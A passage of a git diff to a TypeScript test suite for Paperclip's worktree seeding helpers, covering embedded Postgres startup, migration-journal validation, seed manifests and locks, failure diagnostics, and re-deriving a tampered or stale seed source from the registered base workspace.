seed process to own the target embedded Postgres lifecycle", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-live-target-")); + try { + fs.writeFileSync( + path.join(tempRoot, "postmaster.pid"), + `${process.pid}\n${tempRoot}\n0\n55432\n`, + ); + + await expect(ensureEmbeddedPostgres(tempRoot, 55432, { allowExisting: false })) + .rejects.toThrow("while it is already running"); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("surfaces a credential-safe diagnostic when the target shuts down during restore", () => { + expect(formatWorktreeSeedFailureDiagnostic( + "restore", + new Error( + "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE", + ), + )).toBe( + "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.", + ); + expect(formatWorktreeSeedFailureDiagnostic("migrations", new Error("secret connection failure"))) + .toBe("Seed failed during migrations."); + }); + + it("surfaces the missing credential artifact for authenticated seed validation", () => { + expect(formatWorktreeSeedFailureDiagnostic( + "source_validation", + new Error( + "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator.", + ), + )).toBe( + "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding.", + ); + }); + + it("requires credential accounts only for authenticated worktree seeds", () => { + expect(requiresWorktreeSeedCredentialAccount("local_trusted")).toBe(false); + expect(requiresWorktreeSeedCredentialAccount("authenticated")).toBe(true); + }); + + it("rejects a source migration journal that diverges from the code journal", () => { + expect(() => resolveWorktreeSeedMigrationRevision({ + status: "upToDate", + tableCount: 1, + availableMigrations: ["0001_initial.sql", "0002_current.sql"], + appliedMigrations: ["0001_initial.sql", "0003_unknown.sql"], + journalEntryCount: 3, + }, "sourcePrefix")).toThrow("Migration journal is not a prefix of this Paperclip checkout"); + }); + + it("accepts a current source whose migration application order differs from filename order", () => { + expect(resolveWorktreeSeedMigrationRevision({ + status: "upToDate", + tableCount: 1, + availableMigrations: [ + "0001_initial.sql", + "0002_renumbered.sql", + "0003_applied_earlier.sql", + "0004_current.sql", + ], + appliedMigrations: [ + "0001_initial.sql", + "0003_applied_earlier.sql", + "0002_renumbered.sql", + "0004_current.sql", + ], + journalEntryCount: 6, + }, "upToDate")).toBe("0004_current.sql"); + }); + + it("accepts a source migration journal that is multiple revisions behind", () => { + expect(resolveWorktreeSeedMigrationRevision({ + status: "needsMigrations", + tableCount: 1, + availableMigrations: [ + "0001_initial.sql", + "0002_applied.sql", + "0003_pending.sql", + "0004_pending.sql", + ], + appliedMigrations: ["0002_applied.sql", "0001_initial.sql"], + pendingMigrations: ["0003_pending.sql", "0004_pending.sql"], + journalEntryCount: 3, + reason: "pending-migrations", + }, "sourcePrefix")).toBe("0002_applied.sql"); + }); + + itEmbeddedPostgres("recognizes positive legacy database schema evidence", async () => { + const tempDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-legacy-evidence-"); + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-legacy-config-")); + try { + const configPath = path.join(tempRoot, "config.json"); + const sourceConfig = buildSourceConfig(); + const config: PaperclipConfig = { + ...sourceConfig, + database: { + ...sourceConfig.database, + mode: "postgres", + connectionString: tempDb.connectionString, + backup: { + ...sourceConfig.database.backup, + enabled: false, + intervalMinutes: 60, + retentionDays: 30, + dir: path.join(tempRoot, "backups"), + }, + }, + }; + fs.writeFileSync(configPath, `${JSON.stringify(config)}\n`); + fs.writeFileSync( + path.join(tempRoot, ".env"), + `PAPERCLIP_INSTANCE_ID=legacy-target\nDATABASE_URL=${JSON.stringify(tempDb.connectionString)}\n`, + ); + + await expect(inspectLegacyWorktreeDatabase(configPath)).resolves.toEqual({ + migrationRevision: expect.stringMatching(/\.sql$/), + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + await tempDb.cleanup(); + } + }, 30000); + + it("ensure-seeded seeds once and fast-exits on the verified manifest", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-")); try { const sourceConfigPath = path.join(tempRoot, "source", "config.json"); @@ -374,6 +646,7 @@ describe("worktree helpers", () => { fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); fs.writeFileSync( path.join(targetRoot, ".paperclip", ".env"), @@ -382,7 +655,7 @@ describe("worktree helpers", () => { markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); const seedDatabase = vi.fn().mockResolvedValue({ - backupSummary: "snapshot.sql", + ...mockVerifiedSeedResult(), pausedScheduledRoutines: 2, executionQuarantine: { disabledTimerHeartbeats: 1, @@ -390,16 +663,18 @@ describe("worktree helpers", () => { quarantinedInProgressIssues: 1, unassignedTodoIssues: 1, unassignedReviewIssues: 1, + stoppedProjectWorkspaceRuntimes: 0, + stoppedExecutionWorkspaceRuntimes: 0, + stoppedRuntimeServices: 0, }, - reboundWorkspaces: [], }); await expect( - ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), ).resolves.toMatchObject({ seeded: true, reason: "seeded" }); await expect( ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), - ).resolves.toEqual({ seeded: false, reason: "complete_marker" }); + ).resolves.toEqual({ seeded: false, reason: "verified_manifest" }); expect(seedDatabase).toHaveBeenCalledTimes(1); expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ @@ -408,13 +683,286 @@ describe("worktree helpers", () => { instanceId: "ensure-seeded-test", })); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false); - expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(true); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + version: 2, + state: "verified", + phase: "complete", + migrationRevision: "0142_test.sql", + targetInstanceId: "ensure-seeded-test", + }); } finally { fs.rmSync(tempRoot, { recursive: true, force: true }); } }); - it("ensure-seeded keeps the pending marker when seeding fails", async () => { + it("treats an unregistered markerless config as a normal non-worktree boot", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unregistered-markerless-")); + try { + const configPath = path.join(tempRoot, "config.json"); + fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`); + delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD; + delete process.env.PAPERCLIP_PROJECT_WORKSPACE_ID; + delete process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID; + + const inspectLegacyDatabase = vi.fn(); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: configPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toEqual({ seeded: false, reason: "legacy_unmarked" }); + + expect(inspectLegacyDatabase).not.toHaveBeenCalled(); + expect(seedDatabase).not.toHaveBeenCalled(); + expect(readWorktreeSeedManifest(configPath)).toBeNull(); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("honors a legacy complete marker without resolving a seed source", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-complete-marker-")); + try { + const configPath = path.join(tempRoot, "config.json"); + fs.writeFileSync(configPath, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync(path.join(tempRoot, "seed-complete"), "complete\n"); + delete process.env.PAPERCLIP_WORKSPACE_BASE_CWD; + + const inspectLegacyDatabase = vi.fn(); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: configPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toEqual({ seeded: false, reason: "complete_marker" }); + + expect(inspectLegacyDatabase).not.toHaveBeenCalled(); + expect(seedDatabase).not.toHaveBeenCalled(); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("seeds a configured worktree with no seed markers when no legacy database is present", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-empty-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "unmarked-empty-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3194, + databasePort: 54994, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + const inspectLegacyDatabase = vi.fn().mockResolvedValue(null); + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { inspectLegacyDatabase, seedDatabase }, + )).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(inspectLegacyDatabase).toHaveBeenCalledWith(targetConfigPath); + expect(seedDatabase).toHaveBeenCalledTimes(1); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + migrationRevision: "0142_test.sql", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("adopts a markerless legacy worktree only after validating its database schema", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-unmarked-legacy-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "unmarked-legacy-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3193, + databasePort: 54993, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + const seedDatabase = vi.fn(); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { + inspectLegacyDatabase: vi.fn().mockResolvedValue({ migrationRevision: "0141_legacy.sql" }), + seedDatabase, + }, + )).resolves.toEqual({ seeded: false, reason: "legacy_database" }); + + expect(seedDatabase).not.toHaveBeenCalled(); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + migrationRevision: "0141_legacy.sql", + }); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it("managed ensure-seeded derives a valid source from the registered base workspace", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-managed-seed-")); + try { + const baseRoot = path.join(tempRoot, "base"); + const sourceConfigPath = path.join(baseRoot, ".paperclip", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "managed-target", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3195, + databasePort: 54995, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=managed-source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=managed-target\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded({ + config: targetConfigPath, + registeredBaseWorkspaceCwd: baseRoot, + registeredProjectWorkspaceId: "project-workspace-1", + expectedCompanyId: "company-1", + }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath, + expectedCompanyId: "company-1", + })); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + + it.each(["sibling", "foreign_instance", "symlink", "instance_mismatch"] as const)( + "managed ensure-seeded re-derives a stale %s manifest source from registration", + async (variant) => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), `paperclip-worktree-managed-${variant}-`)); + try { + const baseRoot = path.join(tempRoot, "base"); + const canonicalSource = path.join(baseRoot, ".paperclip", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const attackerRoot = path.join(tempRoot, variant); + const attackerConfig = path.join(attackerRoot, "config.json"); + fs.mkdirSync(path.dirname(canonicalSource), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.mkdirSync(attackerRoot, { recursive: true }); + fs.writeFileSync(canonicalSource, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync(path.join(path.dirname(canonicalSource), ".env"), "PAPERCLIP_INSTANCE_ID=registered-source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), ".env"), + `PAPERCLIP_HOME=${path.join(tempRoot, "worktree-home")}\nPAPERCLIP_INSTANCE_ID=managed-target\n`, + ); + fs.writeFileSync(attackerConfig, `${JSON.stringify(buildSourceConfig())}\n`); + fs.writeFileSync( + path.join(attackerRoot, ".env"), + `PAPERCLIP_INSTANCE_ID=${variant === "foreign_instance" ? "foreign" : "registered-source"}\n`, + ); + const diagnosticPath = variant === "instance_mismatch" + ? canonicalSource + : variant === "symlink" + ? path.join(attackerRoot, "source-link.json") + : attackerConfig; + if (variant === "symlink") fs.symlinkSync(canonicalSource, diagnosticPath); + markWorktreeSeedPending({ + configPath: targetConfigPath, + sourceConfigPath: diagnosticPath, + targetInstanceId: "managed-target", + }); + if (variant === "instance_mismatch") { + const manifest = readWorktreeSeedManifest(targetConfigPath)!; + fs.writeFileSync( + path.join(path.dirname(targetConfigPath), "seed-manifest.json"), + JSON.stringify({ ...manifest, source: { ...manifest.source, instanceId: "foreign" } }), + ); + } + const seedDatabase = vi.fn().mockResolvedValue(mockVerifiedSeedResult()); + + await expect(ensureWorktreeSeeded({ + config: targetConfigPath, + registeredBaseWorkspaceCwd: baseRoot, + registeredProjectWorkspaceId: "project-workspace-1", + expectedCompanyId: "company-1", + }, { seedDatabase })).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + expect(seedDatabase).toHaveBeenCalledWith(expect.objectContaining({ + sourceConfigPath: canonicalSource, + expectedCompanyId: "company-1", + })); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + source: { + configPath: canonicalSource, + instanceId: "registered-source", + }, + state: "verified", + diagnostics: expect.arrayContaining([ + expect.objectContaining({ + message: "Re-derived seed source diagnostics from the registered canonical source.", + }), + ]), + }); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }, + ); + + it("ensure-seeded records a target shutdown diagnostic when restore fails", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-failure-")); try { const sourceConfigPath = path.join(tempRoot, "source", "config.json"); @@ -435,6 +983,7 @@ describe("worktree helpers", () => { fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); fs.writeFileSync( path.join(targetRoot, ".paperclip", ".env"), @@ -444,12 +993,31 @@ describe("worktree helpers", () => { await expect( ensureWorktreeSeeded( - { config: targetConfigPath }, - { seedDatabase: vi.fn().mockRejectedValue(new Error("seed failed")) }, + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { + seedDatabase: vi.fn(async (input) => { + input.onPhase?.("restore", "started"); + throw new Error( + "Failed to restore seed.sql.gz: FATAL: the database system is shutting down; psql error: write EPIPE", + ); + }), + }, ), - ).rejects.toThrow("seed failed"); + ).rejects.toThrow("database system is shutting down"); - expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(true); + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "failed", + phase: "restore", + diagnostics: expect.arrayContaining([ + expect.objectContaining({ + phase: "restore", + status: "failed", + message: + "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.", + }), + ]), + }); + expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-pending"))).toBe(false); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed-complete"))).toBe(false); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); } finally { @@ -478,6 +1046,7 @@ describe("worktree helpers", () => { fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); fs.writeFileSync( path.join(targetRoot, ".paperclip", ".env"), @@ -487,28 +1056,17 @@ describe("worktree helpers", () => { const seedDatabase = vi.fn(async () => { await new Promise((resolve) => setTimeout(resolve, 100)); - return { - backupSummary: "snapshot.sql", - pausedScheduledRoutines: 0, - executionQuarantine: { - disabledTimerHeartbeats: 0, - resetRunningAgents: 0, - quarantinedInProgressIssues: 0, - unassignedTodoIssues: 0, - unassignedReviewIssues: 0, - }, - reboundWorkspaces: [], - }; + return mockVerifiedSeedResult(); }); const results = await Promise.all([ - ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), - ensureWorktreeSeeded({ config: targetConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), + ensureWorktreeSeeded({ config: targetConfigPath, fromConfig: sourceConfigPath }, { seedDatabase }), ]); expect(results).toEqual(expect.arrayContaining([ expect.objectContaining({ seeded: true, reason: "seeded" }), - { seeded: false, reason: "complete_marker" }, + { seeded: false, reason: "verified_manifest" }, ])); expect(seedDatabase).toHaveBeenCalledTimes(1); expect(fs.existsSync(path.join(targetRoot, ".paperclip", "seed.lock"))).toBe(false); @@ -517,6 +1075,59 @@ describe("worktree helpers", () => { } }); + it("records an interrupted phase before retrying to a verified terminal state", async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-interrupted-seed-")); + try { + const sourceConfigPath = path.join(tempRoot, "source", "config.json"); + const targetRoot = path.join(tempRoot, "worktree"); + const targetConfigPath = path.join(targetRoot, ".paperclip", "config.json"); + const targetPaths = resolveWorktreeLocalPaths({ + cwd: targetRoot, + homeDir: path.join(tempRoot, "worktree-home"), + instanceId: "interrupted-seed", + }); + const sourceConfig = buildSourceConfig(); + const targetConfig = buildWorktreeConfig({ + sourceConfig, + paths: targetPaths, + serverPort: 3196, + databasePort: 54996, + }); + fs.mkdirSync(path.dirname(sourceConfigPath), { recursive: true }); + fs.mkdirSync(path.dirname(targetConfigPath), { recursive: true }); + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig)}\n`); + fs.writeFileSync(path.join(path.dirname(sourceConfigPath), ".env"), "PAPERCLIP_INSTANCE_ID=source\n"); + fs.writeFileSync(targetConfigPath, `${JSON.stringify(targetConfig)}\n`); + fs.writeFileSync( + path.join(targetRoot, ".paperclip", ".env"), + `PAPERCLIP_HOME=${targetPaths.homeDir}\nPAPERCLIP_INSTANCE_ID=${targetPaths.instanceId}\n`, + ); + markWorktreeSeedPending({ configPath: targetConfigPath, sourceConfigPath }); + const interrupted = readWorktreeSeedManifest(targetConfigPath)!; + fs.writeFileSync( + path.join(targetRoot, ".paperclip", "seed-manifest.json"), + `${JSON.stringify({ ...interrupted, state: "running", phase: "restore" }, null, 2)}\n`, + ); + + await expect(ensureWorktreeSeeded( + { config: targetConfigPath, fromConfig: sourceConfigPath }, + { seedDatabase: vi.fn().mockResolvedValue(mockVerifiedSeedResult()) }, + )).resolves.toMatchObject({ seeded: true, reason: "seeded" }); + + const verified = readWorktreeSeedManifest(targetConfigPath)!; + expect(verified.state).toBe("verified"); + expect(verified.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ + phase: "restore", + status: "failed", + message: "The previous seed attempt ended without a terminal result.", + }), + ])); + } finally { + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }); + it("fails closed instead of racing to reclaim a stale seed lock", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-ensure-seeded-stale-lock-")); try { @@ -555,6 +1166,10 @@ describe("worktree helpers", () => { const todoIssueId = randomUUID(); const reviewIssueId = randomUUID(); const userIssueId = randomUUID(); + const projectId = randomUUID(); + const projectWorkspaceId = randomUUID(); + const executionWorkspaceId = randomUUID(); + const runtimeServiceId = randomUUID(); try { await db.insert(companies).values({ @@ -590,6 +1205,64 @@ describe("worktree helpers", () => { permissions: {}, }, ]); + await db.insert(projects).values({ + id: projectId, + companyId, + name: "Runtime quarantine", + status: "in_progress", + }); + await db.insert(projectWorkspaces).values({ + id: projectWorkspaceId, + companyId, + projectId, + name: "Primary workspace", + cwd: "/source/project", + metadata: { + keep: "project-metadata", + runtimeConfig: { + workspaceRuntime: { services: [{ name: "paperclip-dev" }] }, + desiredState: "running", + serviceStates: { "0": "running", "1": "manual" }, + }, + }, + }); + await db.insert(executionWorkspaces).values({ + id: executionWorkspaceId, + companyId, + projectId, + projectWorkspaceId, + mode: "isolated_workspace", + strategyType: "git_worktree", + name: "Copied runtime workspace", + cwd: "/source/worktree", + providerType: "git_worktree", + metadata: { + keep: "execution-metadata", + config: { + environmentId: "environment-1", + desiredState: "running", + serviceStates: { "0": "running" }, + }, + }, + }); + await db.insert(workspaceRuntimeServices).values({ + id: runtimeServiceId, + companyId, + projectId, + projectWorkspaceId, + executionWorkspaceId, + scopeType: "project_workspace", + scopeId: projectWorkspaceId, + serviceName: "paperclip-dev", + status: "running", + lifecycle: "shared", + provider: "local_process", + providerRef: "12345", + ownerAgentId: agentId, + port: 42013, + url: "https://paperclip-dev.example.test:42013", + healthStatus: "healthy", + }); await db.insert(issues).values([ { id: inProgressIssueId, @@ -641,6 +1314,9 @@ describe("worktree helpers", () => { quarantinedInProgressIssues: 1, unassignedTodoIssues: 1, unassignedReviewIssues: 1, + stoppedProjectWorkspaceRuntimes: 1, + stoppedExecutionWorkspaceRuntimes: 1, + stoppedRuntimeServices: 1, }); const [quarantinedAgent] = await db.select().from(agents).where(eq(agents.id, agentId)); @@ -671,6 +1347,47 @@ describe("worktree helpers", () => { const comments = await db.select().from(issueComments).where(eq(issueComments.issueId, inProgressIssueId)); expect(comments).toHaveLength(1); expect(comments[0]?.body).toContain("Quarantined during worktree seed"); + + const [projectWorkspace] = await db + .select() + .from(projectWorkspaces) + .where(eq(projectWorkspaces.id, projectWorkspaceId)); + expect(projectWorkspace?.metadata).toEqual({ + keep: "project-metadata", + runtimeConfig: { + workspaceRuntime: { services: [{ name: "paperclip-dev" }] }, + desiredState: "stopped", + serviceStates: { "0": "stopped", "1": "manual" }, + }, + }); + + const [executionWorkspace] = await db + .select() + .from(executionWorkspaces) + .where(eq(executionWorkspaces.id, executionWorkspaceId)); + expect(executionWorkspace?.metadata).toEqual({ + keep: "execution-metadata", + config: { + environmentId: "environment-1", + desiredState: "stopped", + serviceStates: { "0": "stopped" }, + }, + }); + + const [runtimeService] = await db + .select() + .from(workspaceRuntimeServices) + .where(eq(workspaceRuntimeServices.id, runtimeServiceId)); + expect(runtimeService).toMatchObject({ + status: "stopped", + healthStatus: "unknown", + providerRef: null, + ownerAgentId: null, + startedByRunId: null, + port: null, + url: null, + }); + expect(runtimeService?.stoppedAt).toBeInstanceOf(Date); } finally { await db.$client?.end?.({ timeout: 5 }).catch(() => undefined); await tempDb.cleanup(); @@ -810,7 +1527,94 @@ describe("worktree helpers", () => { }); itEmbeddedPostgres( - "seeds authenticated users into minimally cloned worktree instances", + "seeds a local-trusted implicit board user without a credential account", + async () => { + const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-local-board-seed-")); + const worktreeRoot = path.join(tempRoot, "PAP-17696-local-board-seed"); + const sourceConfigDir = path.join(tempRoot, "source"); + const sourceConfigPath = path.join(sourceConfigDir, "config.json"); + const sourceKeyPath = path.join(sourceConfigDir, "secrets", "master.key"); + const worktreeHome = path.join(tempRoot, ".paperclip-worktrees"); + const originalCwd = process.cwd(); + const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-local-board-source-"); + + try { + await seedValidWorktreeSource(sourceDb.connectionString, { + includeCredentialAccount: false, + userId: "local-board", + }); + fs.mkdirSync(path.dirname(sourceKeyPath), { recursive: true }); + fs.mkdirSync(worktreeRoot, { recursive: true }); + + const sourceConfig = buildSourceConfig(); + sourceConfig.database = { + ...sourceConfig.database, + mode: "postgres", + connectionString: sourceDb.connectionString, + }; + sourceConfig.server.deploymentMode = "local_trusted"; + sourceConfig.server.exposure = "private"; + sourceConfig.auth.baseUrlMode = "auto"; + delete sourceConfig.auth.publicBaseUrl; + sourceConfig.secrets.localEncrypted.keyFilePath = sourceKeyPath; + + fs.writeFileSync(sourceConfigPath, `${JSON.stringify(sourceConfig, null, 2)}\n`, "utf8"); + fs.writeFileSync(sourceKeyPath, "source-master-key", "utf8"); + + process.chdir(worktreeRoot); + await worktreeInitCommand({ + name: "PAP-17696-local-board-seed", + home: worktreeHome, + fromConfig: sourceConfigPath, + force: true, + }); + + const targetConfigPath = path.join(worktreeRoot, ".paperclip", "config.json"); + const targetConfig = JSON.parse(fs.readFileSync(targetConfigPath, "utf8")) as PaperclipConfig; + expect(readWorktreeSeedManifest(targetConfigPath)).toMatchObject({ + state: "verified", + phase: "complete", + }); + + const { default: EmbeddedPostgres } = await import("embedded-postgres"); + const targetPg = new EmbeddedPostgres({ + databaseDir: targetConfig.database.embeddedPostgresDataDir, + user: "paperclip", + password: "paperclip", + port: targetConfig.database.embeddedPostgresPort, + persistent: true, + initdbFlags: ["--encoding=UTF8", "--locale=C", "--lc-messages=C"], + onLog: () => {}, + onError: () => {}, + }); + + await targetPg.start(); + try { + const targetDb = createDb( + `postgres://paperclip:paperclip@127.0.0.1:${targetConfig.database.embeddedPostgresPort}/paperclip`, + ); + const [seededLocalBoard] = await targetDb + .select({ id: authUsers.id }) + .from(authUsers) + .where(eq(authUsers.id, "local-board")); + const seededAccounts = await targetDb.select().from(authAccounts); + expect(seededLocalBoard?.id).toBe("local-board"); + expect(seededAccounts).toHaveLength(0); + await targetDb.$client.end({ timeout: 5 }); + } finally { + await targetPg.stop(); + } + } finally { + process.chdir(originalCwd); + await sourceDb.cleanup(); + fs.rmSync(tempRoot, { recursive: true, force: true }); + } + }, + 30_000, + ); + + itEmbeddedPostgres( + "seeds a lagging source whose migration application order differs from filename order", async () => { const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-worktree-auth-seed-")); const worktreeRoot = path.join(tempRoot, "PAP-999-auth-seed"); @@ -824,15 +1628,57 @@ describe("worktree helpers", () => { const sourceDb = await startEmbeddedPostgresTestDatabase("paperclip-worktree-auth-source-"); try { + await seedValidWorktreeSource(sourceDb.connectionString); const sourceDbClient = createDb(sourceDb.connectionString); - await 